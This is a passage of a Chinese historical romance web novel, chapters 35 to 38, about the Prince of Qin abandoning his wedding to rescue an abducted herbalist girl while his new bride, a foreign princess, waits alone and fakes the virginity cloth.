“云儿”站在一旁看了半天也不知到底发生了何事的轩辕玥此时上前倚在榻边,拉着衣上云的手,甚是担忧地轻声呼唤着她的名字。 秦王大婚,秦王府里道贺观礼的王公大臣自是无一人缺席的,早早的就都到达府邸静候着吉时的到来。 而此刻,刚回到承华殿书房的轩辕翰负手身后、凭窗而立、身姿挺拔、伟岸如山、尊贵威严、睥睨天下,一双深邃的双眸望着衣上云所在阁楼的方向。 眼看吉时已近,轩辕翰却始终都还尚未更换上大婚的喜服,程良已多次提醒,他总是看都不看一眼。此时他又一次来到轩辕翰身边,看着这个主子却是一脸的无奈,他从小就跟着轩辕翰,怎么会不知道轩辕翰此时复杂的心思。 可是,这是璟帝赐的婚,也是他当时默许了的。可如今,明显却为了这个丑丫头,完全乱了这个主子一向的冷静与理智。 不得已,他只能...... 第三十五章:大婚,谁来亲迎 这可是璟帝赐的婚,也是主子当时默许了的。可如今,明显因为这个丑丫头的出现,完全乱了这个主子一向的冷静与理智。 不得已,程良只能移步向轩辕玥求救,让她来劝试试。 “秦皇叔,吉时已到,快更衣吧。”很快轩辕玥便进到大殿内劝道。 见其不动声色,年纪轻轻的她微微摇头轻声叹了口气稍加思索继续道“秦皇叔,玥儿和云儿昨日到驿馆,见到未来皇婶亦是倾国倾城,端庄贤淑之女子。她一个弱女子千里迢迢自此远离故土与亲人,刚至我西秦大地却又病倒,皇叔既早已对赐婚有所应允,如今已到这个时候了,也莫要辜负了她的一片心意”。 听到此,终于轩辕翰的眉眼微微闪烁了两下深吸一口气,好似刚从梦中清醒过来般。随即便转身朝配殿进去,程良看见急急端起大婚喜服紧随其后。 轩辕玥看着轩辕翰离去的背影,心里不禁变得越加沉重起来。口中喃喃道“谁说自古君王多无情,云儿对于秦皇叔,显然已经成了他的软肋”。 大婚前几日,作为喜房的轩辕翰的寝殿林月轩已经完全布置好,但按照老祖宗传下来的规矩不到新娘子进门入洞房时分,暂时他是不能独住喜房的,于是这几日他便搬到了承华殿的配殿里。 就在程良正伸出手要替轩辕翰宽衣解带更换大婚喜服的时候,忽然传来窗外一声婢女急呼的尖叫声“啊,有刺客”。 轩辕翰正无精打采若有所思低垂着眼迅速抬起朝程良一怔,程良亦是同样一愣,四目相对后,轩辕翰便以迅雷不及掩耳之势先飞步夺门而出。 配殿后院里,轩辕翰一现身,只见一个身姿挺拔眉眼甚是妖艳的黑衣蒙面男子双手横抱着尚还在昏迷当中的衣上云。蒙面男子狠狠地看了轩辕翰一眼,随后便迅速以一身极好的轻功跃上了承华殿的屋顶,紧接着便急急逃离秦王府而去。 轩辕玥此时亦是听到门外婢女的叫喊声神情慌张地踱步而出,却只见到轩辕翰身影一闪,亦是跟随着蒙面男子踏空而去一起消失。 “秦皇叔......”轩辕玥急急正想说话,却还是晚了一步。她眼神焦怒地看向方才喊叫的婢女道“大胆奴才,到底发生了何事竟如此慌乱”。 婢女一看到轩辕玥大怒,方才醒了神来立马“扑通”一声重重地双膝跪倒在地,只是好像直到现在还心魂未定的样子。 她怯怯地低着头禀告“禀公主,方才奴才本要送药进去给衣药女服用,谁知刚进门便看到一个黑衣蒙面男子坐在衣药女榻边,奴才便立即退出来喊人,那男子一见奴婢喊叫似是也被惊到,竟将衣药女横抱起来掳走了,紧接着秦王殿下冲了出来,然后俩人就都......”。 轩辕玥听后心急如焚又抬头看了看天色,心想“到底是谁掳走了云儿,这眼看吉时已到花轿就要上门了,这可该如何是好?” 轩辕玥着急地在殿内来回踱着方步,片刻后,她忽然停住脚步眼神一定似是已有了对策,便立刻叫人过来。只见她侧身对其耳语片刻后道“速速赶去告知迎亲大臣,切记不要惊扰了王妃娘娘”。 一边的奴才得令后急急出了门。 今日秦王大婚,却俨然一幅普天同庆之势,附近街市上的商贾早已在前几日起便在自家商铺门口高高挂起了大红灯笼以示恭贺。今日吉时更是四面八方响天的炮仗声连续不断。 秦王府周围各要道也早已是万人空巷,男女老少纷纷走上街头蜂拥至此等待着观看这场盛世御赐良缘。 秦王府门前人头躜动,正就这场婚礼议论纷纷着。 而同样闹哄哄一片喜庆连天着的驿馆碎玉轩里,陪嫁的赵嬷嬷正在给梅汐媛做着出嫁前最后的梳妆打扮。 梳妆桌上搁置着一面精致的铜花镜,镜中的女子巧笑倩兮,美目盼兮、闭月羞花、含苞待放、静影沉璧、倾国又倾城。 赵嬷嬷手里拿着篦子一下一下地梳着她那乌黑发亮的一缕缕青丝,口里念叨着: “一梳梳到头,富贵不用愁” “二梳梳到头,无病又无忧” “三梳梳到头,多子又多寿” “再梳梳到尾,举案又齐眉” “二梳梳到尾,比翼共双飞” “三梳梳到尾,永结同心佩” “有头又有尾,此生共富贵” 赵嬷嬷是梅汐媛的奶娘,此时她的眼里满是慈祥与疼爱和不舍,不禁眼里充满了激动的泪水。 “嬷嬷莫要难过,你会一直陪着我的,不是吗”梅汐媛见了转身拉着她的手说道,赵嬷嬷听了却只是颔首仍然说不出话来。 “吉时已到” 就在这时传来门外一声催促的声音。 赵嬷嬷赶忙拭了拭泪痕,最后将一大红龙凤刺绣纹案的盖头最后替她轻轻掩上。 紧接着说道“公主,吉时已到,该上花轿了”赵嬷嬷递上了一面五彩雀扇到梅汐媛的手里,梅汐媛颔首伸出玉手接过。 此时,她的哥哥东宁国三皇子梅志煊便上前来到她跟前将她一路抱上花轿。 至此,东宁国送嫁的队伍已经完全顺利地完成了送嫁任务与西秦迎亲大臣交接完毕后,预备启程回东宁了。 “起轿”随着喜婆这一声响起,盛大壮观的迎亲队伍开始从驿馆浩浩荡荡地出发前往秦王府。 两头“狮子”在一颗朱红色龙珠的牵引下跳上窜下地嬉闹着,钟鼓乐声震天大作,途经之地炮仗声噼里啪啦四起、热闹非凡。 八抬大轿上大红龙凤刺绣纹案盖头下的梅汐媛,凤冠霞帔,一袭红妆喜气无比,套穿着极致奢华精致的凤尾裙礼服,衣襟上缀着寓意多子多福的极品红缎地“葫芦万代”上轿荷包,正满腹憧憬着即将拥有世间最尊贵的男子带给她最美满的幸福婚姻。 而就在此时,迎亲大臣忽然惊慌失色道“什么?那接下来的踢轿门和亲迎事宜该如何处理”显然,来人禀报了秦王殿下已不在秦王府不知所踪的消息给他。 “大人稍安勿躁,公主殿下已经处理妥善”来禀报的人急急答道。 “真是胡闹,这秦王也太胡闹了,都这个节骨眼儿上了,此事怎能儿戏,那可是东宁国的和亲公主啊”迎亲大臣愤怒而又无奈地摇摇脑袋,唉声叹气道。 忽然旁边看热闹的人群里有个妇人对旁边的人碎语“你说这天气前几天还好好的,怎么昨夜里就飘雪了呢?” “飘雪怎么了”旁边的人好奇地问。 “你没听人家讲吗,雨里的夫妻泪交流,雪里的夫妻不到头” “嘘,小声点,你别瞎说,这可是当今圣上御赐的金玉良缘呐”众人都被妇人的话吓到,又拼命都点着头看着劝说的那个人。 随花轿一边路过的赵嬷嬷听见了,朝着人群狠狠瞪了一眼过去,生怕被花轿上的梅汐媛听到。 许久后,终于花轿临门。秦王府正门大开,众人却久久唯独不见秦王殿下出门相迎。 就在众人都议论纷纷时忽闻一声“皇后娘娘嫁到” 众人闻之皆俯首跪拜“恭迎皇后娘娘,娘娘千岁千岁千千岁” 只见轩辕玥双手扶着一身雍容华贵母仪天下的西秦国母从秦王府内缓缓走了出来。 走到秦王府正门口后,皇后端庄威严地说道“都平身吧。今日乃秦王大婚之日,却突逢紧急国事,身为亲王自当以国事为重。故本宫今日亲自前来迎秦王妃进门,以示我西秦皇恩浩荡”。 下跪众人均瞠目结舌,亦深感秦王实乃国之重臣。即便大喜之日,也以国事为先,有此敢于担当以天下子民为重之王爷,实属百姓之福,西秦之福。随后众人均鼓掌叫好。 这时,两位喜婆才急急上前将新娘子小心翼翼地搀扶下轿,缓缓走上石阶一步一步迈过秦王府正门门槛,跨过火盆后被送往喜房。 沿途众人皆向其身上撒着各种五谷杂粮以示驱赶邪煞之气。 一番好生折腾,终于梅汐媛进到了轩辕翰的寝殿明月轩,大婚的喜房。 至此,轩辕玥悬着的一颗心终于落了下来。 “到底发生了何事?秦王到底去哪儿了?”此时皇后才怒色着一本正经的问起轩辕玥。 轩辕玥见此事自己扛不起,便命人匆匆去请了母后出宫摆驾秦王府做主,皇后闻讯甚是惊讶,急急赶来。 这时轩辕玥看着皇后发怒的表情,她还哪敢说秦王是为了追一个小药女而误了吉时呢,最后嘴里只是吱吱呜呜地搪塞了一句“回母后,皇叔本来已经是在更换喜服了,谁料出现了一个刺客,他就追着刺客走了”。 轩辕玥低着头说完偷偷抬眼看了一眼皇后,皇后显然也对秦王此举颇感怪异。 皇后心想着,秦王一向沉着冷静,为何今日会有此异于常态的行为,此乃与东宁国公主和亲的大事,事关国家社稷,两国友好。虽然自己今日以贵为皇后的身份亲自前来替他扯谎堵住了这悠悠众口。但是如果东宁公主事后追究,那可不是闹着玩的。 “唉......这个秦王”皇后露出一脸的担忧,如今也只能化作一声无奈的长叹。她也只能做这些了,剩下的就要看天意了。 第三十六章:今夜,红烛为谁燃 “唉......这个秦王”皇后露出一脸的担忧,如今也只能化作一声无奈的长叹。她也只能做这些了,剩下的就要看天意了。 “你也莫在宫外发疯闲逛了,今日早早准备随本宫回宫。堂堂西秦国公主,整日在外胡乱游逛惹是生非,传出去成何体统”皇后忽然训斥起了轩辕玥道。 “是,儿臣遵命便是”轩辕玥无奈只得瘪着小嘴心里却一万个不情愿地说道。只是还在怀疑担心着“云儿到现在还没有消息,也不知道秦皇叔到底追到刺客了没有,有没有救到云儿了。云儿身份单纯,这刺客掳她做什么呢? 夜已深,秦王府里参加大婚观礼道贺的宾客们也都陆续着纷纷散去,秦王却自始至终都没有出现在宴席上。 此时在喜房明月轩里,一室通红,喜庆无比。 桌案上一对火红的龙凤红烛烛火正摇摇摆摆随风起舞着。 “鸿雁衔书,鱼传尺素”,宫里还特别为这场大婚定制了数套做工精细的雁鱼灯让殿内渲染散发出浓浓的浪漫情愫。 寝殿内,梅汐媛正头盖着那龙凤刺绣纹案的大红喜帕,独自端坐在榻边,满心欢喜地静待着她期盼已久的如意郎君前来将它掀起与她合卺共饮,执子之手与子偕老。 所谓“十里不同风,百里不同俗”梅汐媛自不是特别清楚西秦国的婚俗,此刻她只知道满腹相思与期盼的自己怀着一腔热忱已经进了秦王府的大门,入了秦王轩辕翰的寝殿,成了世间所有女子都梦想着的秦王妃。 而此刻便是她期待已久的洞房花烛夜。 今夜,红烛只独为她而燃。 ...... 是夜,城中一座偏僻幽静的民宅里,昏暗的烛火下,衣上云正安安静静地躺在床榻上昏睡着。 一个身着紫装墨发半束的男子,正坐于榻前拿出一神秘的玉色药瓶落在衣上云瘦小的面庞前。 只见该男子一将手中的玉药瓶瓶盖打开来,便立刻散发出一阵阵如烟似雾的紫色气体被衣上云的七孔穴位瞬间吸入。 随后就听到男子用极尽温柔的声音轻声唤道“丫头,丫头” 这时衣上云方才缓缓将紧闭的双眼张开来,她的眼睛一全部张开来便立刻发现了眼前出现着的是一个她再也不能熟悉的脸孔。 “三少”竟是易三少易君浩。 “怎么是你” “这里是哪儿” “我怎么会在这” 衣上云刚醒,还是有些昏沉沉。她缓缓起身目视了一下周围,这并不是她熟悉的地方。她有些苍白无力慌忙地问道。 “丫头,你放心,这里很隐蔽,不会有人发现”。 “三少,我怎么会在这儿。秦王大婚,我不是陪玥公主在秦王府观礼吗?”衣上云虚弱而又着急地问。 “丫头,你可知道,今日要不是我,你恐怕又要像以前在衣府过去的那年一样昏迷下去了”易君浩有些抱怨生气地说道,他总是预感这丫头和那什么秦王在一起,总是没有什么好事。 衣上云见易君浩气恼了,随着话语里便带了许多诚恳的说“三少,我知道你一直都对我甚好,云儿谢谢你”。 “光说谢有什么用,我易君浩又不缺这几个字”易君浩那貌似炮仗的脾性再次发作,一脸不悦地快速起身来甩了一手衣袖脱口而出了这一句更似抱怨的话。 衣上云却自问一直以来易君浩都给予自己无尽的帮助,而自己除了说感谢以为也着实无其它可以表达的,看到易君浩对她更恼了,只得低下头来生出一脸的失望和惭愧沉默起来,不再言语。 易君浩亦似是发现自己无心之言语中伤了衣上云,便即刻改变脸色道“好了好了,我想我易三少肯定是上辈子欠你的,这辈子老天罚我来还债。罢了,如今只要你醒了,比什么都好”。 衣上云听到易君浩好转了言语的口气,方才重新抬起头对着他轻轻笑了笑。 “红颜一笑值千金”易君浩也回她以相视而笑莫逆于心。 程良看到轩辕翰独自追逐刺客而出,便也匆匆带了数名王府暗卫追随出来。 此时已汇同轩辕翰一起追了小半个皇城至此,却忽然不见了挟持衣上云的刺客踪影。 “给本王挨家挨户地搜,就算掘地三尺也一定要把衣药女毫发无损的找出来”轩辕翰似怒发冲冠地下令道。 程良见势急急领命部署人马分头行动。 而轩辕翰朝着四下里眼神一扫,竟发现了在街角的一座极其隐蔽的民宅门口,一棵白玉兰花树下落了一支女子的银簪。 他走过去轻轻拾起,是支嵌着两朵桃花的长流苏簪子。仿佛在哪见过,于是,便伸手推开了民宅的大门,跨过门槛走了进去。 衣上云忽闻院子里“吱呀”一声,便朝易君浩道“好像有人进来了”。 随即很快便传出来了似是男人的脚步声,易君浩立马飞步到窗前向外窥视。一看见来人便口中气愤着喃喃道“果然又是那个冰块脸,怎么都甩不掉,就像狗皮膏药一样难缠,这般隐密之地也能找到,看来我还真小看他了”。 他快速过去将衣上云从床榻上揽起,却不想衣上云迅速起身下榻后终究体力尚未恢复,一个踉跄险些跌趴在地,易君浩瞬势将其揽腰拥紧贴至自己身前来。 而恰在此时,轩辕翰推门而入。见到易君浩揽着衣上云的小蛮腰贴在自己身上,他双眼立马瞪大一寒,充满了十足渗人阴冷的杀气。 只见他迅速扬起刚进门时手中早已预备好的佩剑,朝着易君浩正中方向不偏不离的刺去,而衣上云见势更是伸出双臂急急一个转身用自己瘦小的身躯恰好挡在了易君浩的前面。 轩辕翰见她以已身似是本能的替易君浩正面挡剑立马剑锋偏转却已然来不及,剑尖直刺入了衣上云的肩部,鲜血瞬间从她那单薄而又陈旧的冬袄里渗了出来。 “丫头”易君浩瞪大了眼睛吃惊地大叫。 轩辕翰亦是大惊失色,连忙拔剑上前去一把将她的身子夺回拥住紧紧揽入怀中。 “殿下,不要杀他,让他走”衣上云落地的第一时间里竟然还是在帮易君浩求情。此时她脸色煞白瘫坐在地上,轩辕翰揽着她心疼异常地看着怀中的人儿。 只见他抬眼却没有看向易君浩,只怒声道“还不快滚,等本王后悔吗?” 衣上云一只手捂着剑刺的伤口,眉心皱起用几近哀求的眼神望着易君浩示意他速速离开。 外面程良等人亦是听到这边的动静声,正急急赶过来。 易君浩意识到这种形势对自己很不利,于是瞪大眼睛皱了下眉便无奈地快步夺门离去。衣上云亦是终于耐不住这接连而来的伤害再度晕了过去在轩辕翰的怀中。 “云儿,云儿”轩辕翰见她已然昏迷,一脸担忧地呼唤着。 “殿下,属下来迟”程良带人一进到屋内,便看到衣上云肩部的一大滩鲜血淋漓惊道。 轩辕翰将她一把横抱而起,一出门便揽着衣上云急急上马朝着秦王府策马而去。程良一脸惊愕,亦紧随而归。 不知不觉,天已经快亮了。 秦王府轩辕翰的寝殿明月轩里,梅汐媛依旧端坐榻边等着她的夫君。 她已经整整等了一夜,等他回来与她共饮合卺酒,然后洞房花烛。 忽闻“吱呀”的开门声,她欣喜着重新整理端坐好。 只见赵嬷嬷走了进来,一个晚上她已经进进出出数回了。每次梅汐媛都闻声会重新整理端坐好,但每次到最后都只是赵嬷嬷而已,随即便都只是她失望着叹气不语。 “王妃,歇息一会吧”赵嬷嬷心疼地安慰道。 见梅汐媛不出声,赵嬷嬷便怒道“这个西秦秦王,真是太过份了。大婚之夜,竟敢如此怠慢我东宁国公主,老奴一定要将此事禀告陛下和皇后,让他们做主”。 “赵嬷嬷,万万不可”梅汐媛坐了一晚上,此刻终于开口说话了。 “公主,昨日大婚,西秦秦王不出面亲迎也就算了,洞房花烛夜竟然连面都不露,这如何让人能忍?这不是诚心给公主难堪,给东宁国难堪吗”赵嬷嬷气道。 “赵嬷嬷,既然西秦秦王八抬大轿已经将本公主迎入秦王府,本公主又怎么能轻易再出去。况且既然已经入了喜房,不管怎么说,我和他都已算是夫妻,夫妻之间的理又如何理得清呢”梅汐媛意味深长地说着。 “可是公主,您自小到大只受过万千宠爱,何曾受过这般委屈呢”赵嬷嬷义愤不平地边说边拭起心疼的眼泪来。 “嬷嬷不必多说,人总归要学着长大,也必须长大,本公主总不能永远被父皇母后捧在手心里宠溺一辈子。我和秦王来日方长,又或许他真的是被什么事牵绊住了也未可知?”梅汐媛还存着一丝希望的自我安慰着。 随后,只听到屋内赵嬷嬷的一声长叹。 红烛燃尽,终于天亮了。 梅汐媛自己掀掉头上盖着的龙凤刺绣纹案大红盖头,缓缓抬起头来。 终于看到了这个让她无数个日日夜夜里魂牵梦绕的寝殿,尊贵、庄严、又不失舒适与奢华。 她轻轻挽起袖子来,久久触摸痴痴地看着玉臂上那红点,那颗耀眼的朱砂痣。 陪嫁的侍婢正在赵嬷嬷的陪同下贴心的帮梅汐媛褪去极致华贵的大婚妆容,准备着稍后进宫面见西秦太后谢恩。 忽然,她拿起床榻上的那方洁白无瑕的落红白帕凝视了许久后,交给赵嬷嬷,赵嬷嬷伸手接过去颔首收好。 这方落红白帕等会...... 第三十七章:落红帕 这方落红白帕按照规矩等会儿可是要面见西秦太后的时候给她老人家亲自过目验收的。 见赵嬷嬷将落红帕收好,梅汐媛一双迷离的眼睛望向了桌上的那壶合卺酒。只见她缓缓起身来朝着走过去,倒了一杯拿起来打量了好一会儿,之后将其一饮而尽。 明明就是生来最不喜欢这种东西,然此刻却露出一脸心碎的苦笑来。 “公主......”赵嬷嬷看着她此时的模样还想劝却是话到嘴边又咽了下去,站在一旁心里更是难受了。 秦王府云水阁里,衣上云安静地躺在床榻上昏睡着。 好像每次到秦王府她总是伤痕累累,此时轩辕翰就坐在她的榻边目不转睛一脸担忧和自责的凝视着她。 看着看着他忽然对着病榻上的衣上云自言自语道“你为何要如此拼命地护他,难道他真的是魏明轩?他真的对你那么重要?你可知道,如果本王的剑再快半分......” 他到现在都还后怕着,说到这里他长舒一口气顿了一下,片刻后又接着说“本王知道他是你喜欢的人,又怎么可能真的杀他,本王只是很生气......很生气” 然而,他在气什么?气为何他没有比魏明轩先出现在她的生命里?气她为何到现在丝毫不明白他的心意?气竟有另一个男人拥她入怀?还是气他自己没有勇气面对那男子到底是不是她高烧昏迷中口中喃喃的魏明轩? 他的确没有勇气,因为他怕。 他怕答案是他不想要的那种。现在这样,至少他还可以当做什么都不知道,和她坦然相处。如果他知道了那就是魏明轩,那他又怎么可能继续当做视而不见听而不闻呢?! “殿下,太医说衣姑娘已无大碍,殿下还是休息会儿吧”程良走进来看见主子这般心疼的模样关心道。 见主子无动于衷,他硬着头皮继续劝“殿下已经这样看着衣姑娘一整夜了,稍后还要同王妃娘娘去宫中谢恩呢” 轩辕翰听到程良说“王妃娘娘”这才眼睛微微眨了一下,似乎才刚想起秦王府已经有了一位王妃了。 程良看到他已有所动容,接着又小心翼翼地提醒暗示道“殿下,昨日大婚......王妃娘娘等了你一夜。还有亲迎的事,昨日是玥公主请了皇后娘娘来才......”程良话还没说完就看到轩辕翰投来寒光四射怒目的眼神,便悄悄收了声。 程良心里还在暗自嘀咕着“昨日明明是主子大婚的大喜之日,可他却连喜服都没有穿,看来他是真的没有将这赐婚当回事啊,亏得宫里还命人把喜服制的巧夺天工” 轩辕翰回头替衣上云掖好被角又再次凝神看了看她,还好王府太医的医术和药材都算是上等,她的脸色已经有些起色。此时才似是安心了些缓缓起身来出了门,走到门口时冷冷丢给程良一句“吩咐张嬷嬷过来照顾好她” “是”程良领命,随即回头看着榻上昏睡的衣上云露出一脸无可奈何的表情。 他想,主子到底要对这个丑丫头这样暧昧不明到什么时候。嘴里喃喃了一句“既然喜欢,为什么不说出来呢” 秦王府承华殿里,轩辕翰在桌案边的坐榻上斜靠着刚眯了一小会儿,便被守在殿外的程良匆匆进来唤醒“殿下,王妃娘娘来了” 轩辕翰听了眼睛轻轻张开来端坐起,只见梅汐媛正缓缓迈着优雅的步伐走进大殿来,一身的雍容华贵,彰显着秦王府女主人的气势。 “臣妾参见殿下,殿下何时回府的,昨夜臣妾等了殿下一晚上”梅汐媛一来到大殿轩辕翰面前便满脸笑容的欠身行礼道。 “昨日之事...”轩辕翰一脸往日的严肃正想对昨天的事稍作解释,毕竟她是东宁国公主,不是西秦普通贵族之女,有些客套话还是得他自己说的,毕竟这桩赐婚他确实是有所应允在先的。 谁知梅汐媛却急急抢了话过去“殿下不必同臣妾解释。臣妾深知殿下乃西秦秦王,西秦国唯一的亲王,皇上唯一的亲弟弟。故帮辅皇上为西秦百姓日理万机,臣妾自当理解并全力支持。臣妾只望殿下百忙之中也要注意保重自己的身体才是” 这个女子竟然对昨日之事如此态度......,轩辕翰正在往下思索,梅汐媛又开口道“殿下,时辰不早了,这会儿臣妾该陪同殿下去宫里向太后娘娘请安谢恩了” 于是,两人同乘一辆豪华安车往皇宫方向而去,轩辕翰一如往日里端坐着自顾闭目养神。 梅汐媛第一次这么近地靠着自己心心念念的夫君,此刻坐在他的身边,她才细细打量观察起这个对她而言尊贵而又优秀和神秘的男人。 原来他比自己在东宁国所听闻的西秦秦王英姿飒爽年轻有为更要优秀俊美百倍千倍,尤其是他现在安静下来的时候,简直如同神抵,尊不可犯。 梅汐媛不由得心里窃喜,此生能嫁给世间这样优秀的男子,她这辈子也算无憾了。而日后她定当全力与他培养感情,为他生儿育女,做一对恩爱夫妻。 很快,车子便到了西秦皇宫门口。 梅汐媛第一次见到西秦皇宫,没想到西秦皇宫宫殿竟高出地面数米,俨然一幅居高临下,气势非凡。 西秦皇宫虽不比东宁皇宫规模庞大建造布局装饰奢华,却到处尽显出一股博大精深的中原壮丽之气,让人肃然起敬。 很快,她便跟随着轩辕翰来到了太后宫殿——永安宫。 此时,殿内一脸慈祥和蔼的太后和一身雍容华贵的皇后还有其他各宫妃嫔、贵人、朝廷重要的命妇,可谓是应有具有。 得知今日秦王会亲自携带新人家眷秦王妃前来觐见谢恩,众人已经早早约好至此地等候着,齐聚一睹西秦国最高冷尊贵秦王的王妃风华绝代的风采。 轩辕翰一进门便行礼道“儿臣给母后请安,皇嫂万福” 梅汐媛亦跟随道“臣妾给母后请安,皇嫂万福” “赶紧起身来让哀家好好瞧瞧这个东宁国大美人,来人,赐座”太后一脸欣喜地一边说一边伸手过去捉住梅汐媛的一双纤纤玉手,皇后跟随颔首微笑着。 二人刚入座好,在场的所有妃嫔、贵人、命妇们全部皆都起身恭恭敬敬地行礼道“给秦王殿下请安,秦王妃万福” 梅汐媛看见随即感觉到自己所嫁之人身份不是一般的高贵,顿时露着一脸的自豪。 “秦王,你母妃走得早,如今哀家和皇后许给你的这个东宁国大美人,可还让你称心如意?”太后一脸慈祥地看着轩辕翰说道。 梅汐媛听了太后的问话也向他投去好奇的眼光,迫切地想知道秦王对她的态度。然只见轩辕翰仍一脸严肃地答道“儿臣谢母后关怀,皇嫂费心了” “你如今虽身担国家要职日理万机,皇帝对你委以重任,只是也不能委屈了这个王妃才是”太后继续似是提醒的说道。 秦王大婚并未亲自迎新人进门,此等大事皇后自是不敢对太后有所隐瞒。但太后也要顾忌社稷安危,此番言语虽未挑明,但是也是给秦王一个提示,不可轻易怠慢了东宁公主。 “儿臣谨记母后教诲”轩辕翰则是以惯用的冰冷语气回应着。 就在这时,老嬷嬷手里端着一个精雕的方形木盘走到太后面前,木盘里放着的正是今天这个聚会的重头戏——落红白帕。 落红是处子之血,是一个女子初次洞房落下的血,代表着一个女子最珍贵的贞洁。凡是洞房未有落红者均会被视为不贞不洁之身,轻则被人耻笑看不起,一辈子抬不起头,重则累及性命。 落红白帕,又是洞房花烛夜圆房的必备物品,用以检查新人是否完璧之身。 此时,轩辕翰眼睛一怔正想开口说些什么,却被老嬷嬷抢了话先“这是新人的落红白帕,请太后娘娘查验” 太后见此,笑了笑说“东宁国公主出身高贵、冰肌玉骨、端庄贤淑、哀家相信她自是冰清玉洁。只是这是老祖宗世世代代传下来的老规矩,所以哀家还是得过过这个场面,以免日后落人口实” 说完便伸出手挑起了那方洁白无瑕神圣的落红帕,于是众目睽睽下便现出了一抹刺眼的鲜红。 众人皆目瞪口呆,不约而同地看向了轩辕翰和梅汐媛。梅汐媛惺惺作态出一副羞涩难以言表的姿态低头静静端坐着。 而当片刻后众人的眼光不再聚集在他们俩身上的时候,她方才看向了正坐在自己身旁的轩辕翰。 “不敢相信秦王殿下这种禁欲男神也会近女色” “他竟然真的宠幸了这个异国公主,那可是万年冰山的秦王殿下呀!” “这些年有多少朝中大臣想要将自家的小姐塞进秦王府,哪怕是得个侧妃侍妾也是好的,但秦王就是恍如谪仙般无心下凡。” “莫非是这个永乐公主真的以倾国倾城之貌融化了秦王殿下这座大冰山。看来这个东宁公主着实不简单呢” “要我说啊,这男人个个都是一匹深藏不露的狼,表面都只不过是伪装出来的罢了” ...... 霎时间大殿里众人交头接耳,议论纷纷。 太后见此情景,与皇后颔首对视互换眼神,似乎亦是十分惊讶。 “秦王,既然你们情投意合,鹣鲽情深,如今也已正式圆了房成为夫妻,那日后定要竭尽全力为轩辕皇家开枝散叶才是”太后欣喜地训诫着新人夫妇。 而轩辕翰此时一头雾水,满脸凝重严肃之态,心想这落红帕到底怎么回事。似乎并没有认真听太后这句意味深长的训诫。 请安谢恩的事此时也就算完成了,正所谓三个女人一台戏,更何况是在这一群生性就爱兴风作浪的女人堆里,他早已听够了这些人交头接耳的闲言碎语。 这时轩辕翰起身来说道“母后,儿臣还有公务要忙,就先行告退了,该日再来向母后请安” 梅汐媛看到轩辕翰起身,紧随其后跟着也起来道“臣妾改日再来向母后问安” “秦王辛劳,当心身子。如今有了王妃,日后王妃要多照顾着点”太后关切道。 “儿臣谢母后关怀” “臣妾谨遵母后教诲” 说完,俩人便走出了永安宫,只留下了身后一殿皆惊讶万分的女人叽叽喳喳。 “殿下,殿下等等臣妾”梅汐媛迈着极快的步伐急急追着。 “那落红帕到底怎么回事” ...... 第三十八章:蠢笨至极无药可救的女人 “那落红帕到底怎么回事” 轩辕翰一出永安宫便大步往出走着,听到梅汐媛呼唤的声音,方才放慢了脚步。 梅汐媛一追上来,便气喘吁吁地解释道“殿下,那是臣妾手臂上的血”说着便现出她白皙的手腕上一道还尚未结痂的伤痕。 轩辕翰压低眉毛怒目着只斜视了一眼便匆匆收回。 “殿下,若今日臣妾奉上的果真是纯洁无暇的白帕,那众人以后将会如何议论臣妾。臣妾千里迢迢离开东宁国故土来到西秦殿下的身边,日后又该如何在西秦立足呢?” 见轩辕翰不语,她又继续说“臣妾如今已然进了秦王府的大门,而今天这落红帕亦是向天下宣告了臣妾已是名正言顺名副其实的秦王妃,不是吗?” 梅汐媛字字铿锵,心里极其委屈却不得不勇敢地说出这些话来稍微缓解一下这两天她独自只能一人承受的苦闷心情。 这句话说出来是提醒轩辕翰,她这个秦王妃已然已经存在了。但同时更是说给自己,要想尽办法得到秦王的恩宠与垂爱,做一个真真正正的秦王妃。 轩辕翰听完梅汐媛这番话,竟一时无言以对。他想,可能是自己真的错了,一开始就错了。 但虽不想与她多做纠缠,也绝不放纵她肆意妄为,便怒眉狠狠说道“本王警告你,以后任何有关秦王府的事,本王决不允许你擅自做主” 说完便急急转身踱宫门而去,走了几步后忽然停住脚步连头都没回地又说“本王听闻玥儿说你身体欠安,从今日起你便搬往韶华阁居住,不必来本王寝殿伺候了” 梅汐媛听了心里顿感如晴天霹雳,但只能一脸无奈地望着他远去的背影,这才是他们大婚的第一天啊...... 见轩辕翰离去,赵嬷嬷和婢女们才敢匆忙上前来,而只看到梅汐媛一脸的黯然神伤,赵嬷嬷只关切道“王妃娘娘,发生了何事” 梅汐媛像是瞬间跌落了冰窟,心灰意冷着,说不出话,只回了她一脸的苦笑来。 轩辕翰一出门便越上马背朝秦王府飞奔回去,此时他只觉得,眼前这个女人一点也不像方才王府里他想的那般简单,到底城府有多深...... “翰哥哥回来了”陆天骄看到轩辕翰下马来,急急走过来用那极其娇柔的声音迎接道。 “殿下大婚已成,我们正打算要回去了,学院事务繁多父亲今儿一早便已启程”陆天麟紧跟陆天骄之后亦走过来道。 “那件事你们查的如何了”轩辕翰前面一边朝承华殿走一边关心地问道。 “有父亲在,殿下尽管放心,一切都在计划中”陆天麟认真回答着。 就在快要到大殿门口的时候,轩辕翰突然停住了脚步,愣了一下像是记起了什么。便丢下一句“加快进度”便急急拐上了回廊往后院阁楼的方向而去,留下陆氏兄妹二人痴痴怔在原地。 秦王府云水阁里,衣上云早已苏醒,此时正发呆地转动着手腕上的七彩.金丝彩玉镯子端详着,独自喃喃“奇怪,这个镯子什么时候又现出一个血色纹路来,仿佛与上次不同” 她再仔细凝神一看,只见这次的形状好似一个“日”,这血色纹路依旧如同上次一样只是昙花一现后便瞬间消失。 她猜了半天也猜不透,索性便开始收拾东西准备告辞回宫了。 听到有脚步声传来,她急急回头转身看去。 “殿下”衣上云看到是轩辕翰进来便连忙欠身行礼。 “为什么不多休息会儿,你的伤可好些了”明明是温暖的一番关切,可轩辕翰进来却一脸冰冷地说。 “回殿下,奴婢已无大碍,多谢殿下这几日的收留,奴婢这就回宫去了”衣上云看到他如此冷漠的脸,便怯怯地回答。 听到这里,只见轩辕翰的脸色极致的阴沉难看,他此时的心情可一点都不好。 方才因为梅汐媛,现在眼前这个女人竟又如此蠢笨,竟然一点都感觉不到他的心意,就昨天被掳走的事到现在都连一句主动解释也没有,还想趁他不在的时候一走了之。 这时,他冷峻的双眸直直盯向她好看的一双凤眼,双手负后紧紧握成拳许久,而最终还是隐忍着缓缓松开。 衣上云仿佛并没有意识到他的愤怒,只是一脸狐疑地看着轩辕翰露着一脸的不解。 轩辕翰却突然开口问道“他是谁?” 